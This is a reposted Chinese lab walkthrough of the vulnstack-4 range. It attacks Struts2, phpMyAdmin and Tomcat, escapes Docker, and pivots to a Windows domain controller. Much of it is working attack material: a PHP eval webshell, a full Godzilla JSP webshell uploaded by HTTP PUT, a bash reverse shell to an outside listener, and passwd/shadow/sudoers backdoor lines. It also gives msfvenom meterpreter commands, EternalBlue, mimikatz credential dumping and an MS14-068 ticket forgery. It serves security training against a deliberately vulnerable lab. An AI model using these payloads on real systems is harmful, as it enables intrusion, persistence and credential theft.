vulnstack——4

admin 2024年1月3日11:55:28评论15 views字数 6276阅读20分55秒阅读模式

环境搭建

vulnstack——4

vulnstack——4

vulnstack——4

vulnstack——4

vulnstack——4

vulnstack——4

vulnstack——4

ubuntu:ubuntu 192.168.10.129 192.168.183.129 域成员机器 douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130

Web服务器为Ubuntu,需要进入ubuntu,用docker启动,熟悉vulhub的都清楚:

s2-045

CVE-2017-12615(tomcat put上传)

cve-2018-12613(phpmyadmin文件包含漏洞)

熟悉docker的都清楚,docker基本都是root

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 sudo docker-compose up -d cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/ sudo docker-compose up - cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/ sudo docker-compose up -d

Web渗透

1、

nmap -p- -A -sV 192.168.10.129

vulnstack——4

2、查看2001端口是一个struts2

vulnstack——4

3、查看2002端口是一个tomcatvulnstack——4

4、查看2003端口发现是一个phpmyadmin页面

vulnstack——4

5、探测漏洞,似乎有cve-2017-5638

 nikto -host http://192.168.10.129:2001

vulnstack——4

6、利用struts2工具进行探测,确实存在漏洞。vulnstack——4

7、可以执行命令vulnstack——4

phpmyadmin-Shell

1、phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613),这句话在网上一搜一大堆,那就来试试吧,毕竟我也是把vulhub都做的差不多了,也很熟悉这些了,看一看自己以前的文章,原来是直接可以包含文件,试一下先

http://192.168.10.129:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwdvulnstack——4

2、网上这个漏洞复现有两种方法,一个是插入一句话木马,通过生成的frm文件来进行命令执行,另一个是通过文件包含+session缓存文件

select '<?php @eval($_GET["cmd"]) ?>';

vulnstack——43、命令go后F12查看phpMyAdmin的value值

vulnstack——4

http://192.168.10.130:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_d5d08d7193696b7cc0287c239c68a415&cmd=system(%27ls%27);

vulnstack——4

tomcat-Shell

1、tomcat 这么老的版本更不要说了

访问,抓包

vulnstack——4

2、很明显返回的值为201,说明是可行的,那我们直接上传JSP木马可不可以呢?

vulnstack——4

3、这里返回203是成功的呢,说明我们的绕过成功了,然后这里我们要写相应的JSP木马在请求正文里,那么不会写的怎么办呢,这里可以像我一样用Godzilla一键生成,这里管理点开有个生成,并将有效载荷选择JavaDynamicPayload,点击生成

vulnstack——4

vulnstack——4

vulnstack——4

4、用记事本打开

vulnstack——4

5、把这些全部复制放进请求正文里

vulnstack——4

6、上传成功,用Godzilla连接

vulnstack——4

vulnstack——4

vulnstack——4

PUT /6667.jsp/ HTTP/1.1 Host: 192.168.10.130:2002 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: phpMyAdmin=d5d08d7193696b7cc0287c239c68a415; pma_lang=zh_CN; JSESSIONID=6C3E7E89B6339E448BFF3C2A04835832 Upgrade-Insecure-Requests: 1 Content-Length: 2619 <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>

vulnstack——4

docker逃逸

1、这里我们知道自己在docker环境里,但是通过判断自己是不是在docker环境里的命令是

ls -alh /.dockerenv #判断根目录下是否存在 .dockerenv 文件  cat /proc/1/cgroup #查看系统的cgroup系统,看是否有docker字样

vulnstack——4

2、开始逃逸

mkdir /julien

vulnstack——4

vulnstack——4

vulnstack——4

3、创建一个julien.sh的文件

vulnstack——4

4、在julien.sh里写入一个bash反弹shell的脚本:

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.10.128/9999 0>&1">> /julien/julien.sh

vulnstack——4

5、kali上监听

vulnstack——4

6、执行julien.sh文件

bash junlien.sh

vulnstack——4

7、反弹成功

vulnstack——4

利用特权模式进行 docker 逃逸

1、创建一个test的文件,然后将宿主机/dev/sda1 目录挂载至容器内

mkdir test mount /dev/sda1 test cat test/etc/passwd //可任意读取文件

vulnstack——4

2、写入普通用户,成功登录。

echo "wei:x:1001:1001:jack,,,:/home/jack:/bin/bash" >> test/etc/passwd echo "wei:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::" >> test/etc/shadow echo 'wei ALL=(ALL:ALL) ALL'>> test/etc/sudoers

vulnstack——4

vulnstack——4

vulnstack——4

信息收集

vulnstack——4

1、使用ubuntu自带的arp-scan扫描183网段(如果没有可以自行下载sudo apt install arp-scan

sudo arp-scan -I eth1 --localnet

vulnstack——4

2、192.168.183.130是域控,直接拿域控另一台主机就没用了。所以先对192.168.183.131这台主机进行攻击。

内网渗透

1、生成木马反弹到msf里进行渗透

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=8888 -f elf > shell.elf

2、开启本地http服务将shellelf下载到机器里

vulnstack——4

use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.10.128 set lport 8888 run

vulnstack——4

3、执行shell.elf文件

vulnstack——4

vulnstack——4

4、代理选择ew或者frp,不建议msf自带的代理。

ew代理

在kali上执行命令

./ew_for_linux64 -s rcsocks -l 1188 -e 1234

vulnstack——4

5、在目标主机上上传ew_for_linux64

执行命令

./ew_for_linux64 -s rssocks -d 192.168.10.128 -e 1234

vulnstack——4

使用代理打开msf

proxychains msfconsole use exploit/windows/smb/ms17_010_eternalblue

vulnstack——4

vulnstack——4vulnstack——4

内网信息收集

1、chcp65001解决乱码问题

vulnstack——4

ipconfig /all 发现demo.com 并且dns为本地ip

vulnstack——4

2、当前为本机用户并不是域管理员用户

vulnstack——4

net view 查看域用户

vulnstack——4

cd UsersdouserDesktop

3、在桌面上发现很多都行。比如mimikatz.exe MS14-068.exe等

vulnstack——4

4、mimikatz导出密码

vulnstack——4

5、发现用户密码 douser Dotest123
验证WIN-ENS2VR5TR3N为域控

vulnstack——4

6、MS14-068 域提权漏洞

条件:获得普通域用户以及密码 ,以及用户的suid ip为域控ip,注意ip地址为2008的ip

ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

vulnstack——4

mimikatz # kerberos::purge 清空凭证 mimikatz # kerberos::list 查看凭证 列表 mimikatz # kerberos::ptc [email protected] 导入票据

vulnstack——4

7、net use WIN-ENS2VR5TR3N 查看域控用户信息
dir \WIN-ENS2VR5TR3Nc$

成功连接到2008域控,并查看域控c盘

vulnstack——4

 

揽月安全团队发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!!!!!

vulnstack——4

 

原文始发于微信公众号(揽月安全团队):vulnstack——4

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日11:55:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnstack——4https://cn-sec.com/archives/2359187.html

发表评论

匿名网友 填写信息